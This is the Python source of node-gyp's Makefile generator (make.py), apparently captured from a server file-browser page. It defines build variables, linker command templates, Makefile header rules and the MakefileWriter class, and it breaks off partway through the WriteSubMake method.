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: /lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/generator/ Upload File: files >> //lib/node_modules/npm/node_modules/node-gyp/gyp/pylib/gyp/generator/make.py # Copyright (c) 2013 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # Notes: # # This is all roughly based on the Makefile system used by the Linux # kernel, but is a non-recursive make -- we put the entire dependency # graph in front of make and let it figure it out. # # The code below generates a separate .mk file for each target, but # all are sourced by the top-level Makefile. This means that all # variables in .mk-files clobber one another. Be careful to use := # where appropriate for immediate evaluation, and similarly to watch # that you're not relying on a variable value to last between different # .mk files. # # TODOs: # # Global settings and utility functions are currently stuffed in the # toplevel Makefile. It may make sense to generate some .mk files on # the side to keep the files readable. from __future__ import print_function import os import re import sys import subprocess import gyp import gyp.common import gyp.xcode_emulation from gyp.common import GetEnvironFallback from gyp.common import GypError import hashlib generator_default_variables = { 'EXECUTABLE_PREFIX': '', 'EXECUTABLE_SUFFIX': '', 'STATIC_LIB_PREFIX': 'lib', 'SHARED_LIB_PREFIX': 'lib', 'STATIC_LIB_SUFFIX': '.a', 'INTERMEDIATE_DIR': '$(obj).$(TOOLSET)/$(TARGET)/geni', 'SHARED_INTERMEDIATE_DIR': '$(obj)/gen', 'PRODUCT_DIR': '$(builddir)', 'RULE_INPUT_ROOT': '%(INPUT_ROOT)s', # This gets expanded by Python. 'RULE_INPUT_DIRNAME': '%(INPUT_DIRNAME)s', # This gets expanded by Python. 'RULE_INPUT_PATH': '$(abspath $<)', 'RULE_INPUT_EXT': '$(suffix $<)', 'RULE_INPUT_NAME': '$(notdir $<)', 'CONFIGURATION_NAME': '$(BUILDTYPE)', } # Make supports multiple toolsets generator_supports_multiple_toolsets = True # Request sorted dependencies in the order from dependents to dependencies. generator_wants_sorted_dependencies = False # Placates pylint. generator_additional_non_configuration_keys = [] generator_additional_path_sections = [] generator_extra_sources_for_rules = [] generator_filelist_paths = None def CalculateVariables(default_variables, params): """Calculate additional variables for use in the build (called by gyp).""" flavor = gyp.common.GetFlavor(params) if flavor == 'mac': default_variables.setdefault('OS', 'mac') default_variables.setdefault('SHARED_LIB_SUFFIX', '.dylib') default_variables.setdefault('SHARED_LIB_DIR', generator_default_variables['PRODUCT_DIR']) default_variables.setdefault('LIB_DIR', generator_default_variables['PRODUCT_DIR']) # Copy additional generator configuration data from Xcode, which is shared # by the Mac Make generator. import gyp.generator.xcode as xcode_generator global generator_additional_non_configuration_keys generator_additional_non_configuration_keys = getattr(xcode_generator, 'generator_additional_non_configuration_keys', []) global generator_additional_path_sections generator_additional_path_sections = getattr(xcode_generator, 'generator_additional_path_sections', []) global generator_extra_sources_for_rules generator_extra_sources_for_rules = getattr(xcode_generator, 'generator_extra_sources_for_rules', []) COMPILABLE_EXTENSIONS.update({'.m': 'objc', '.mm' : 'objcxx'}) else: operating_system = flavor if flavor == 'android': operating_system = 'linux' # Keep this legacy behavior for now. default_variables.setdefault('OS', operating_system) if flavor == 'aix': default_variables.setdefault('SHARED_LIB_SUFFIX', '.a') else: default_variables.setdefault('SHARED_LIB_SUFFIX', '.so') default_variables.setdefault('SHARED_LIB_DIR','$(builddir)/lib.$(TOOLSET)') default_variables.setdefault('LIB_DIR', '$(obj).$(TOOLSET)') def CalculateGeneratorInputInfo(params): """Calculate the generator specific info that gets fed to input (called by gyp).""" generator_flags = params.get('generator_flags', {}) android_ndk_version = generator_flags.get('android_ndk_version', None) # Android NDK requires a strict link order. if android_ndk_version: global generator_wants_sorted_dependencies generator_wants_sorted_dependencies = True output_dir = params['options'].generator_output or \ params['options'].toplevel_dir builddir_name = generator_flags.get('output_dir', 'out') qualified_out_dir = os.path.normpath(os.path.join( output_dir, builddir_name, 'gypfiles')) global generator_filelist_paths generator_filelist_paths = { 'toplevel': params['options'].toplevel_dir, 'qualified_out_dir': qualified_out_dir, } # The .d checking code below uses these functions: # wildcard, sort, foreach, shell, wordlist # wildcard can handle spaces, the rest can't. # Since I could find no way to make foreach work with spaces in filenames # correctly, the .d files have spaces replaced with another character. The .d # file for # Chromium\ Framework.framework/foo # is for example # out/Release/.deps/out/Release/Chromium?Framework.framework/foo # This is the replacement character. SPACE_REPLACEMENT = '?' LINK_COMMANDS_LINUX = """\ quiet_cmd_alink = AR($(TOOLSET)) $@ cmd_alink = rm -f $@ && $(AR.$(TOOLSET)) crs $@ $(filter %.o,$^) quiet_cmd_alink_thin = AR($(TOOLSET)) $@ cmd_alink_thin = rm -f $@ && $(AR.$(TOOLSET)) crsT $@ $(filter %.o,$^) # Due to circular dependencies between libraries :(, we wrap the # special "figure out circular dependencies" flags around the entire # input list during linking. quiet_cmd_link = LINK($(TOOLSET)) $@ cmd_link = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ -Wl,--start-group $(LD_INPUTS) $(LIBS) -Wl,--end-group # We support two kinds of shared objects (.so): # 1) shared_library, which is just bundling together many dependent libraries # into a link line. # 2) loadable_module, which is generating a module intended for dlopen(). # # They differ only slightly: # In the former case, we want to package all dependent code into the .so. # In the latter case, we want to package just the API exposed by the # outermost module. # This means shared_library uses --whole-archive, while loadable_module doesn't. # (Note that --whole-archive is incompatible with the --start-group used in # normal linking.) # Other shared-object link notes: # - Set SONAME to the library filename so our binaries don't reference # the local, absolute paths used on the link command-line. quiet_cmd_solink = SOLINK($(TOOLSET)) $@ cmd_solink = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ -Wl,--whole-archive $(LD_INPUTS) -Wl,--no-whole-archive $(LIBS) quiet_cmd_solink_module = SOLINK_MODULE($(TOOLSET)) $@ cmd_solink_module = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ -Wl,--start-group $(filter-out FORCE_DO_CMD, $^) -Wl,--end-group $(LIBS) """ LINK_COMMANDS_MAC = """\ quiet_cmd_alink = LIBTOOL-STATIC $@ cmd_alink = rm -f $@ && ./gyp-mac-tool filter-libtool libtool $(GYP_LIBTOOLFLAGS) -static -o $@ $(filter %.o,$^) quiet_cmd_link = LINK($(TOOLSET)) $@ cmd_link = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o "$@" $(LD_INPUTS) $(LIBS) quiet_cmd_solink = SOLINK($(TOOLSET)) $@ cmd_solink = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o "$@" $(LD_INPUTS) $(LIBS) quiet_cmd_solink_module = SOLINK_MODULE($(TOOLSET)) $@ cmd_solink_module = $(LINK.$(TOOLSET)) -bundle $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(filter-out FORCE_DO_CMD, $^) $(LIBS) """ LINK_COMMANDS_ANDROID = """\ quiet_cmd_alink = AR($(TOOLSET)) $@ cmd_alink = rm -f $@ && $(AR.$(TOOLSET)) crs $@ $(filter %.o,$^) quiet_cmd_alink_thin = AR($(TOOLSET)) $@ cmd_alink_thin = rm -f $@ && $(AR.$(TOOLSET)) crsT $@ $(filter %.o,$^) # Due to circular dependencies between libraries :(, we wrap the # special "figure out circular dependencies" flags around the entire # input list during linking. quiet_cmd_link = LINK($(TOOLSET)) $@ quiet_cmd_link_host = LINK($(TOOLSET)) $@ cmd_link = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ -Wl,--start-group $(LD_INPUTS) -Wl,--end-group $(LIBS) cmd_link_host = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(LD_INPUTS) $(LIBS) # Other shared-object link notes: # - Set SONAME to the library filename so our binaries don't reference # the local, absolute paths used on the link command-line. quiet_cmd_solink = SOLINK($(TOOLSET)) $@ cmd_solink = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ -Wl,--whole-archive $(LD_INPUTS) -Wl,--no-whole-archive $(LIBS) quiet_cmd_solink_module = SOLINK_MODULE($(TOOLSET)) $@ cmd_solink_module = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ -Wl,--start-group $(filter-out FORCE_DO_CMD, $^) -Wl,--end-group $(LIBS) quiet_cmd_solink_module_host = SOLINK_MODULE($(TOOLSET)) $@ cmd_solink_module_host = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ $(filter-out FORCE_DO_CMD, $^) $(LIBS) """ LINK_COMMANDS_AIX = """\ quiet_cmd_alink = AR($(TOOLSET)) $@ cmd_alink = rm -f $@ && $(AR.$(TOOLSET)) -X32_64 crs $@ $(filter %.o,$^) quiet_cmd_alink_thin = AR($(TOOLSET)) $@ cmd_alink_thin = rm -f $@ && $(AR.$(TOOLSET)) -X32_64 crs $@ $(filter %.o,$^) quiet_cmd_link = LINK($(TOOLSET)) $@ cmd_link = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(LD_INPUTS) $(LIBS) quiet_cmd_solink = SOLINK($(TOOLSET)) $@ cmd_solink = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(LD_INPUTS) $(LIBS) quiet_cmd_solink_module = SOLINK_MODULE($(TOOLSET)) $@ cmd_solink_module = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(filter-out FORCE_DO_CMD, $^) $(LIBS) """ LINK_COMMANDS_OS390 = """\ quiet_cmd_alink = AR($(TOOLSET)) $@ cmd_alink = rm -f $@ && $(AR.$(TOOLSET)) crs $@ $(filter %.o,$^) quiet_cmd_alink_thin = AR($(TOOLSET)) $@ cmd_alink_thin = rm -f $@ && $(AR.$(TOOLSET)) crsT $@ $(filter %.o,$^) quiet_cmd_link = LINK($(TOOLSET)) $@ cmd_link = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(LD_INPUTS) $(LIBS) quiet_cmd_solink = SOLINK($(TOOLSET)) $@ cmd_solink = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(LD_INPUTS) $(LIBS) -Wl,DLL quiet_cmd_solink_module = SOLINK_MODULE($(TOOLSET)) $@ cmd_solink_module = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ $(filter-out FORCE_DO_CMD, $^) $(LIBS) -Wl,DLL """ # Header of toplevel Makefile. # This should go into the build tree, but it's easier to keep it here for now. SHARED_HEADER = ("""\ # We borrow heavily from the kernel build setup, though we are simpler since # we don't have Kconfig tweaking settings on us. # The implicit make rules have it looking for RCS files, among other things. # We instead explicitly write all the rules we care about. # It's even quicker (saves ~200ms) to pass -r on the command line. MAKEFLAGS=-r # The source directory tree. srcdir := %(srcdir)s abs_srcdir := $(abspath $(srcdir)) # The name of the builddir. builddir_name ?= %(builddir)s # The V=1 flag on command line makes us verbosely print command lines. ifdef V quiet= else quiet=quiet_ endif # Specify BUILDTYPE=Release on the command line for a release build. BUILDTYPE ?= %(default_configuration)s # Directory all our build output goes into. # Note that this must be two directories beneath src/ for unit tests to pass, # as they reach into the src/ directory for data with relative paths. builddir ?= $(builddir_name)/$(BUILDTYPE) abs_builddir := $(abspath $(builddir)) depsdir := $(builddir)/.deps # Object output directory. obj := $(builddir)/obj abs_obj := $(abspath $(obj)) # We build up a list of every single one of the targets so we can slurp in the # generated dependency rule Makefiles in one pass. all_deps := %(make_global_settings)s CC.target ?= %(CC.target)s CFLAGS.target ?= $(CPPFLAGS) $(CFLAGS) CXX.target ?= %(CXX.target)s CXXFLAGS.target ?= $(CPPFLAGS) $(CXXFLAGS) LINK.target ?= %(LINK.target)s LDFLAGS.target ?= $(LDFLAGS) AR.target ?= $(AR) # C++ apps need to be linked with g++. LINK ?= $(CXX.target) # TODO(evan): move all cross-compilation logic to gyp-time so we don't need # to replicate this environment fallback in make as well. CC.host ?= %(CC.host)s CFLAGS.host ?= $(CPPFLAGS_host) $(CFLAGS_host) CXX.host ?= %(CXX.host)s CXXFLAGS.host ?= $(CPPFLAGS_host) $(CXXFLAGS_host) LINK.host ?= %(LINK.host)s LDFLAGS.host ?= AR.host ?= %(AR.host)s # Define a dir function that can handle spaces. # http://www.gnu.org/software/make/manual/make.html#Syntax-of-Functions # "leading spaces cannot appear in the text of the first argument as written. # These characters can be put into the argument value by variable substitution." empty := space := $(empty) $(empty) # http://stackoverflow.com/questions/1189781/using-make-dir-or-notdir-on-a-path-with-spaces replace_spaces = $(subst $(space),""" + SPACE_REPLACEMENT + """,$1) unreplace_spaces = $(subst """ + SPACE_REPLACEMENT + """,$(space),$1) dirx = $(call unreplace_spaces,$(dir $(call replace_spaces,$1))) # Flags to make gcc output dependency info. Note that you need to be # careful here to use the flags that ccache and distcc can understand. # We write to a dep file on the side first and then rename at the end # so we can't end up with a broken dep file. depfile = $(depsdir)/$(call replace_spaces,$@).d DEPFLAGS = %(makedep_args)s -MF $(depfile).raw # We have to fixup the deps output in a few ways. # (1) the file output should mention the proper .o file. # ccache or distcc lose the path to the target, so we convert a rule of # the form: # foobar.o: DEP1 DEP2 # into # path/to/foobar.o: DEP1 DEP2 # (2) we want missing files not to cause us to fail to build. # We want to rewrite # foobar.o: DEP1 DEP2 \\ # DEP3 # to # DEP1: # DEP2: # DEP3: # so if the files are missing, they're just considered phony rules. # We have to do some pretty insane escaping to get those backslashes # and dollar signs past make, the shell, and sed at the same time. # Doesn't work with spaces, but that's fine: .d files have spaces in # their names replaced with other characters.""" r""" define fixup_dep # The depfile may not exist if the input file didn't have any #includes. touch $(depfile).raw # Fixup path as in (1). sed -e "s|^$(notdir $@)|$@|" $(depfile).raw >> $(depfile) # Add extra rules as in (2). # We remove slashes and replace spaces with new lines; # remove blank lines; # delete the first line and append a colon to the remaining lines. sed -e 's|\\||' -e 'y| |\n|' $(depfile).raw |\ grep -v '^$$' |\ sed -e 1d -e 's|$$|:|' \ >> $(depfile) rm $(depfile).raw endef """ """ # Command definitions: # - cmd_foo is the actual command to run; # - quiet_cmd_foo is the brief-output summary of the command. quiet_cmd_cc = CC($(TOOLSET)) $@ cmd_cc = $(CC.$(TOOLSET)) $(GYP_CFLAGS) $(DEPFLAGS) $(CFLAGS.$(TOOLSET)) -c -o $@ $< quiet_cmd_cxx = CXX($(TOOLSET)) $@ cmd_cxx = $(CXX.$(TOOLSET)) $(GYP_CXXFLAGS) $(DEPFLAGS) $(CXXFLAGS.$(TOOLSET)) -c -o $@ $< %(extra_commands)s quiet_cmd_touch = TOUCH $@ cmd_touch = touch $@ quiet_cmd_copy = COPY $@ # send stderr to /dev/null to ignore messages when linking directories. cmd_copy = rm -rf "$@" && cp %(copy_archive_args)s "$<" "$@" %(link_commands)s """ r""" # Define an escape_quotes function to escape single quotes. # This allows us to handle quotes properly as long as we always use # use single quotes and escape_quotes. escape_quotes = $(subst ','\'',$(1)) # This comment is here just to include a ' to unconfuse syntax highlighting. # Define an escape_vars function to escape '$' variable syntax. # This allows us to read/write command lines with shell variables (e.g. # $LD_LIBRARY_PATH), without triggering make substitution. escape_vars = $(subst $$,$$$$,$(1)) # Helper that expands to a shell command to echo a string exactly as it is in # make. This uses printf instead of echo because printf's behaviour with respect # to escape sequences is more portable than echo's across different shells # (e.g., dash, bash). exact_echo = printf '%%s\n' '$(call escape_quotes,$(1))' """ """ # Helper to compare the command we're about to run against the command # we logged the last time we ran the command. Produces an empty # string (false) when the commands match. # Tricky point: Make has no string-equality test function. # The kernel uses the following, but it seems like it would have false # positives, where one string reordered its arguments. # arg_check = $(strip $(filter-out $(cmd_$(1)), $(cmd_$@)) \\ # $(filter-out $(cmd_$@), $(cmd_$(1)))) # We instead substitute each for the empty string into the other, and # say they're equal if both substitutions produce the empty string. # .d files contain """ + SPACE_REPLACEMENT + \ """ instead of spaces, take that into account. command_changed = $(or $(subst $(cmd_$(1)),,$(cmd_$(call replace_spaces,$@))),\\ $(subst $(cmd_$(call replace_spaces,$@)),,$(cmd_$(1)))) # Helper that is non-empty when a prerequisite changes. # Normally make does this implicitly, but we force rules to always run # so we can check their command lines. # $? -- new prerequisites # $| -- order-only dependencies prereq_changed = $(filter-out FORCE_DO_CMD,$(filter-out $|,$?)) # Helper that executes all postbuilds until one fails. define do_postbuilds @E=0;\\ for p in $(POSTBUILDS); do\\ eval $$p;\\ E=$$?;\\ if [ $$E -ne 0 ]; then\\ break;\\ fi;\\ done;\\ if [ $$E -ne 0 ]; then\\ rm -rf "$@";\\ exit $$E;\\ fi endef # do_cmd: run a command via the above cmd_foo names, if necessary. # Should always run for a given target to handle command-line changes. # Second argument, if non-zero, makes it do asm/C/C++ dependency munging. # Third argument, if non-zero, makes it do POSTBUILDS processing. # Note: We intentionally do NOT call dirx for depfile, since it contains """ + \ SPACE_REPLACEMENT + """ for # spaces already and dirx strips the """ + SPACE_REPLACEMENT + \ """ characters. define do_cmd $(if $(or $(command_changed),$(prereq_changed)), @$(call exact_echo, $($(quiet)cmd_$(1))) @mkdir -p "$(call dirx,$@)" "$(dir $(depfile))" $(if $(findstring flock,$(word %(flock_index)d,$(cmd_$1))), @$(cmd_$(1)) @echo " $(quiet_cmd_$(1)): Finished", @$(cmd_$(1)) ) @$(call exact_echo,$(call escape_vars,cmd_$(call replace_spaces,$@) := $(cmd_$(1)))) > $(depfile) @$(if $(2),$(fixup_dep)) $(if $(and $(3), $(POSTBUILDS)), $(call do_postbuilds) ) ) endef # Declare the "%(default_target)s" target first so it is the default, # even though we don't have the deps yet. .PHONY: %(default_target)s %(default_target)s: # make looks for ways to re-generate included makefiles, but in our case, we # don't have a direct way. Explicitly telling make that it has nothing to do # for them makes it go faster. %%.d: ; # Use FORCE_DO_CMD to force a target to run. Should be coupled with # do_cmd. .PHONY: FORCE_DO_CMD FORCE_DO_CMD: """) SHARED_HEADER_MAC_COMMANDS = """ quiet_cmd_objc = CXX($(TOOLSET)) $@ cmd_objc = $(CC.$(TOOLSET)) $(GYP_OBJCFLAGS) $(DEPFLAGS) -c -o $@ $< quiet_cmd_objcxx = CXX($(TOOLSET)) $@ cmd_objcxx = $(CXX.$(TOOLSET)) $(GYP_OBJCXXFLAGS) $(DEPFLAGS) -c -o $@ $< # Commands for precompiled header files. quiet_cmd_pch_c = CXX($(TOOLSET)) $@ cmd_pch_c = $(CC.$(TOOLSET)) $(GYP_PCH_CFLAGS) $(DEPFLAGS) $(CXXFLAGS.$(TOOLSET)) -c -o $@ $< quiet_cmd_pch_cc = CXX($(TOOLSET)) $@ cmd_pch_cc = $(CC.$(TOOLSET)) $(GYP_PCH_CXXFLAGS) $(DEPFLAGS) $(CXXFLAGS.$(TOOLSET)) -c -o $@ $< quiet_cmd_pch_m = CXX($(TOOLSET)) $@ cmd_pch_m = $(CC.$(TOOLSET)) $(GYP_PCH_OBJCFLAGS) $(DEPFLAGS) -c -o $@ $< quiet_cmd_pch_mm = CXX($(TOOLSET)) $@ cmd_pch_mm = $(CC.$(TOOLSET)) $(GYP_PCH_OBJCXXFLAGS) $(DEPFLAGS) -c -o $@ $< # gyp-mac-tool is written next to the root Makefile by gyp. # Use $(4) for the command, since $(2) and $(3) are used as flag by do_cmd # already. quiet_cmd_mac_tool = MACTOOL $(4) $< cmd_mac_tool = ./gyp-mac-tool $(4) $< "$@" quiet_cmd_mac_package_framework = PACKAGE FRAMEWORK $@ cmd_mac_package_framework = ./gyp-mac-tool package-framework "$@" $(4) quiet_cmd_infoplist = INFOPLIST $@ cmd_infoplist = $(CC.$(TOOLSET)) -E -P -Wno-trigraphs -x c $(INFOPLIST_DEFINES) "$<" -o "$@" """ def WriteRootHeaderSuffixRules(writer): extensions = sorted(COMPILABLE_EXTENSIONS.keys(), key=str.lower) writer.write('# Suffix rules, putting all outputs into $(obj).\n') for ext in extensions: writer.write('$(obj).$(TOOLSET)/%%.o: $(srcdir)/%%%s FORCE_DO_CMD\n' % ext) writer.write('\t@$(call do_cmd,%s,1)\n' % COMPILABLE_EXTENSIONS[ext]) writer.write('\n# Try building from generated source, too.\n') for ext in extensions: writer.write( '$(obj).$(TOOLSET)/%%.o: $(obj).$(TOOLSET)/%%%s FORCE_DO_CMD\n' % ext) writer.write('\t@$(call do_cmd,%s,1)\n' % COMPILABLE_EXTENSIONS[ext]) writer.write('\n') for ext in extensions: writer.write('$(obj).$(TOOLSET)/%%.o: $(obj)/%%%s FORCE_DO_CMD\n' % ext) writer.write('\t@$(call do_cmd,%s,1)\n' % COMPILABLE_EXTENSIONS[ext]) writer.write('\n') SHARED_HEADER_SUFFIX_RULES_COMMENT1 = ("""\ # Suffix rules, putting all outputs into $(obj). """) SHARED_HEADER_SUFFIX_RULES_COMMENT2 = ("""\ # Try building from generated source, too. """) SHARED_FOOTER = """\ # "all" is a concatenation of the "all" targets from all the included # sub-makefiles. This is just here to clarify. all: # Add in dependency-tracking rules. $(all_deps) is the list of every single # target in our tree. Only consider the ones with .d (dependency) info: d_files := $(wildcard $(foreach f,$(all_deps),$(depsdir)/$(f).d)) ifneq ($(d_files),) include $(d_files) endif """ header = """\ # This file is generated by gyp; do not edit. """ # Maps every compilable file extension to the do_cmd that compiles it. COMPILABLE_EXTENSIONS = { '.c': 'cc', '.cc': 'cxx', '.cpp': 'cxx', '.cxx': 'cxx', '.s': 'cc', '.S': 'cc', } def Compilable(filename): """Return true if the file is compilable (should be in OBJS).""" for res in (filename.endswith(e) for e in COMPILABLE_EXTENSIONS): if res: return True return False def Linkable(filename): """Return true if the file is linkable (should be on the link line).""" return filename.endswith('.o') def Target(filename): """Translate a compilable filename to its .o target.""" return os.path.splitext(filename)[0] + '.o' def EscapeShellArgument(s): """Quotes an argument so that it will be interpreted literally by a POSIX shell. Taken from http://stackoverflow.com/questions/35817/whats-the-best-way-to-escape-ossystem-calls-in-python """ return "'" + s.replace("'", "'\\''") + "'" def EscapeMakeVariableExpansion(s): """Make has its own variable expansion syntax using $. We must escape it for string to be interpreted literally.""" return s.replace('$', '$$') def EscapeCppDefine(s): """Escapes a CPP define so that it will reach the compiler unaltered.""" s = EscapeShellArgument(s) s = EscapeMakeVariableExpansion(s) # '#' characters must be escaped even embedded in a string, else Make will # treat it as the start of a comment. return s.replace('#', r'\#') def QuoteIfNecessary(string): """TODO: Should this ideally be replaced with one or more of the above functions?""" if '"' in string: string = '"' + string.replace('"', '\\"') + '"' return string def StringToMakefileVariable(string): """Convert a string to a value that is acceptable as a make variable name.""" return re.sub('[^a-zA-Z0-9_]', '_', string) srcdir_prefix = '' def Sourceify(path): """Convert a path to its source directory form.""" if '$(' in path: return path if os.path.isabs(path): return path return srcdir_prefix + path def QuoteSpaces(s, quote=r'\ '): return s.replace(' ', quote) def SourceifyAndQuoteSpaces(path): """Convert a path to its source directory form and quote spaces.""" return QuoteSpaces(Sourceify(path)) # TODO: Avoid code duplication with _ValidateSourcesForMSVSProject in msvs.py. def _ValidateSourcesForOSX(spec, all_sources): """Makes sure if duplicate basenames are not specified in the source list. Arguments: spec: The target dictionary containing the properties of the target. """ if spec.get('type', None) != 'static_library': return basenames = {} for source in all_sources: name, ext = os.path.splitext(source) is_compiled_file = ext in [ '.c', '.cc', '.cpp', '.cxx', '.m', '.mm', '.s', '.S'] if not is_compiled_file: continue basename = os.path.basename(name) # Don't include extension. basenames.setdefault(basename, []).append(source) error = '' for basename, files in basenames.items(): if len(files) > 1: error += ' %s: %s\n' % (basename, ' '.join(files)) if error: print(('static library %s has several files with the same basename:\n' % spec['target_name']) + error + 'libtool on OS X will generate' + ' warnings for them.') raise GypError('Duplicate basenames in sources section, see list above') # Map from qualified target to path to output. target_outputs = {} # Map from qualified target to any linkable output. A subset # of target_outputs. E.g. when mybinary depends on liba, we want to # include liba in the linker line; when otherbinary depends on # mybinary, we just want to build mybinary first. target_link_deps = {} class MakefileWriter(object): """MakefileWriter packages up the writing of one target-specific foobar.mk. Its only real entry point is Write(), and is mostly used for namespacing. """ def __init__(self, generator_flags, flavor): self.generator_flags = generator_flags self.flavor = flavor self.suffix_rules_srcdir = {} self.suffix_rules_objdir1 = {} self.suffix_rules_objdir2 = {} # Generate suffix rules for all compilable extensions. for ext in COMPILABLE_EXTENSIONS.keys(): # Suffix rules for source folder. self.suffix_rules_srcdir.update({ext: ("""\ $(obj).$(TOOLSET)/$(TARGET)/%%.o: $(srcdir)/%%%s FORCE_DO_CMD @$(call do_cmd,%s,1) """ % (ext, COMPILABLE_EXTENSIONS[ext]))}) # Suffix rules for generated source files. self.suffix_rules_objdir1.update({ext: ("""\ $(obj).$(TOOLSET)/$(TARGET)/%%.o: $(obj).$(TOOLSET)/%%%s FORCE_DO_CMD @$(call do_cmd,%s,1) """ % (ext, COMPILABLE_EXTENSIONS[ext]))}) self.suffix_rules_objdir2.update({ext: ("""\ $(obj).$(TOOLSET)/$(TARGET)/%%.o: $(obj)/%%%s FORCE_DO_CMD @$(call do_cmd,%s,1) """ % (ext, COMPILABLE_EXTENSIONS[ext]))}) def Write(self, qualified_target, base_path, output_filename, spec, configs, part_of_all): """The main entry point: writes a .mk file for a single target. Arguments: qualified_target: target we're generating base_path: path relative to source root we're building in, used to resolve target-relative paths output_filename: output .mk file name to write spec, configs: gyp info part_of_all: flag indicating this target is part of 'all' """ gyp.common.EnsureDirExists(output_filename) self.fp = open(output_filename, 'w') self.fp.write(header) self.qualified_target = qualified_target self.path = base_path self.target = spec['target_name'] self.type = spec['type'] self.toolset = spec['toolset'] self.is_mac_bundle = gyp.xcode_emulation.IsMacBundle(self.flavor, spec) if self.flavor == 'mac': self.xcode_settings = gyp.xcode_emulation.XcodeSettings(spec) else: self.xcode_settings = None deps, link_deps = self.ComputeDeps(spec) # Some of the generation below can add extra output, sources, or # link dependencies. All of the out params of the functions that # follow use names like extra_foo. extra_outputs = [] extra_sources = [] extra_link_deps = [] extra_mac_bundle_resources = [] mac_bundle_deps = [] if self.is_mac_bundle: self.output = self.ComputeMacBundleOutput(spec) self.output_binary = self.ComputeMacBundleBinaryOutput(spec) else: self.output = self.output_binary = self.ComputeOutput(spec) self.is_standalone_static_library = bool( spec.get('standalone_static_library', 0)) self._INSTALLABLE_TARGETS = ('executable', 'loadable_module', 'shared_library') if (self.is_standalone_static_library or self.type in self._INSTALLABLE_TARGETS): self.alias = os.path.basename(self.output) install_path = self._InstallableTargetInstallPath() else: self.alias = self.output install_path = self.output self.WriteLn("TOOLSET := " + self.toolset) self.WriteLn("TARGET := " + self.target) # Actions must come first, since they can generate more OBJs for use below. if 'actions' in spec: self.WriteActions(spec['actions'], extra_sources, extra_outputs, extra_mac_bundle_resources, part_of_all) # Rules must be early like actions. if 'rules' in spec: self.WriteRules(spec['rules'], extra_sources, extra_outputs, extra_mac_bundle_resources, part_of_all) if 'copies' in spec: self.WriteCopies(spec['copies'], extra_outputs, part_of_all) # Bundle resources. if self.is_mac_bundle: all_mac_bundle_resources = ( spec.get('mac_bundle_resources', []) + extra_mac_bundle_resources) self.WriteMacBundleResources(all_mac_bundle_resources, mac_bundle_deps) self.WriteMacInfoPlist(mac_bundle_deps) # Sources. all_sources = spec.get('sources', []) + extra_sources if all_sources: if self.flavor == 'mac': # libtool on OS X generates warnings for duplicate basenames in the same # target. _ValidateSourcesForOSX(spec, all_sources) self.WriteSources( configs, deps, all_sources, extra_outputs, extra_link_deps, part_of_all, gyp.xcode_emulation.MacPrefixHeader( self.xcode_settings, lambda p: Sourceify(self.Absolutify(p)), self.Pchify)) sources = list(filter(Compilable, all_sources)) if sources: self.WriteLn(SHARED_HEADER_SUFFIX_RULES_COMMENT1) extensions = set([os.path.splitext(s)[1] for s in sources]) for ext in extensions: if ext in self.suffix_rules_srcdir: self.WriteLn(self.suffix_rules_srcdir[ext]) self.WriteLn(SHARED_HEADER_SUFFIX_RULES_COMMENT2) for ext in extensions: if ext in self.suffix_rules_objdir1: self.WriteLn(self.suffix_rules_objdir1[ext]) for ext in extensions: if ext in self.suffix_rules_objdir2: self.WriteLn(self.suffix_rules_objdir2[ext]) self.WriteLn('# End of this set of suffix rules') # Add dependency from bundle to bundle binary. if self.is_mac_bundle: mac_bundle_deps.append(self.output_binary) self.WriteTarget(spec, configs, deps, extra_link_deps + link_deps, mac_bundle_deps, extra_outputs, part_of_all) # Update global list of target outputs, used in dependency tracking. target_outputs[qualified_target] = install_path # Update global list of link dependencies. if self.type in ('static_library', 'shared_library'): target_link_deps[qualified_target] = self.output_binary # Currently any versions have the same effect, but in future the behavior # could be different. if self.generator_flags.get('android_ndk_version', None): self.WriteAndroidNdkModuleRule(self.target, all_sources, link_deps) self.fp.close() def WriteSubMake(self, output_filename, makefile_path, targets, build_dir): """Write a "sub-project" Makefile. This is a small, wrapper Makefile that calls the top-level Makefile to build the targets from a single gyp file (i.e. a sub-project). Arguments: output_filename: sub-project Makefile name to write makefile_path: path to the top-level Makefile targets: list of "all" targets for this sub-project build_dir: build output directory, relative to the sub-project """ gyp.common.EnsureDirExists(output_filename) self.fp = open(output_filename, 'w') self.fp.write(header) # For consistency with other builders, put sub-project build output in the # sub-project dir (see test/subdirectory/gyptest-subdir-all.py). self.WriteLn('export builddir_name ?= %s' % os.path.join(os.path.dirname(output_filename), build_dir)) self.WriteLn('.PHONY: all') 